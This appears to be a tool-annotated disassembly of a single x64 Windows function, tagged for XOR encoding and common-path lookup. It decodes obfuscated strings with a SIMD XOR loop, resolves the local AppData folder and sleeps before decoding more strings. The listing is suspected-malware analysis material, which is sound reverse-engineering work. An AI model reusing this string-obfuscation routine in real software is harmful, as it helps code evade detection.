Function at 0x14022b350
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x200
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
mov rax, qword [0x14027f040]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edi, edi
movups xmm0, xmmword [str.IK___g__m]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14026e078]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x14026e088]
mov dword [rsp + 0x80], eax
movzx eax, word [0x14026e08c]
mov word [rsp + 0x84], ax
mov ecx, edi
mov r14d, dword [0x14027f090]
movdqa xmm10, xmmword [0x14026f2c0]
cmp r14d, 2
jl 0x14022b5a4
movdqa xmm7, xmmword [0x14026f1b0]
movdqa xmm5, xmmword [0x14026f2e0]
movdqa xmm6, xmmword [0x14026f310]
movdqa xmm8, xmmword [str.ggggkkkk]
movdqa xmm9, xmmword [0x14026f320]
movdqa xmm0, xmmword [str.9999999999999999_]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
movd xmm4, ecx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm1, xmm0
movd dword [rdx - 4], xmm1
lea eax, [rcx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x14022b430
cmp ecx, 0x26
jge 0x14022b5fd
movsxd rax, ecx
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x22b63cbf
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx r8d, cl
sub r8b, dl
add r8b, r8b
mov eax, 0x13e22cbd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x67
sub r8b, dl
add r8b, 0x39
xor byte [r9], r8b
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x26
jl 0x14022b5b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rax, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], dil
jne 0x14022b620
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1402088d0
lea rcx, [rsp + 0x40]
call fcn.1401fc260
nop
mov rax, qword [str.eEP_66G_b_t]
mov qword [rsp + 0x30], rax
cmp byte [0x14026de27], 0
je 0x14022b83c
mov r9d, edi
cmp r14d, 2
jl 0x14022b7e3
movdqa xmm6, xmmword [0x14026f2e0]
movdqa xmm7, xmmword [0x14026f310]
movdqa xmm4, xmmword [0x14026f1b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14026f320]
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [str.ggggkkkk]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
mov eax, dword [str.9999999999999999_]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm4, xmmword [0x14026f1d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14026f320]
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [str.ggggkkkk]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x14022b83c
lea r10, [rsp + 0x30]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x3e22cbcf
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x67
sub r8b, cl
add r8b, 0x39
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14022b7f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rsi, [rsp + 0x208]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rsi
mov r15, qword [rsi]
mov rax, r15
xor rax, rcx
mov qword [rsp + 0x60], rax
mov qword [rsi], rdi
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
test eax, eax
js 0x14022b8cf
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x90]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14022b8b1
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.1402088d0
jmp 0x14022b8e2
movdqa xmm1, xmmword [0x14026f1a0]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x40], 0
mov qword [rsi], r15
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022b8f0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140236c20
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x40]
call fcn.140238570
lea rcx, [rsp + 0x60]
call fcn.1401f6480
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x60]
call fcn.140238570
nop
jmp 0x14022b96f
movups xmm0, xmmword [str.xhma_n___9_u]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14026db30]
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x14026db40]
mov word [rsp + 0x80], ax
movzx eax, byte [0x14026db42]
mov byte [rsp + 0x82], al
mov r9d, edi
cmp r14d, 2
jl 0x14022bb69
movdqa xmm7, xmmword [0x14026f1b0]
movdqa xmm5, xmmword [0x14026f2e0]
movdqa xmm6, xmmword [0x14026f310]
movdqa xmm8, xmmword [0x14026f320]
movdqa xmm9, xmmword [str.ggggkkkk]
movdqa xmm0, xmmword [str.9999999999999999_]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x30]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm8
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm9
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm8
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm9
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14022b9f2
cmp r9d, 0x23
jge 0x14022bbd1
movsxd rax, r9d
lea r10, [rsp + 0x60]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
add r8b, 0x39
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x14022bb80
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rax, [rsp + 0x60]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14022bbf0
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1402088d0
lea rcx, [rsp + 0x40]
call fcn.1401fc260
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14025d630
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
ret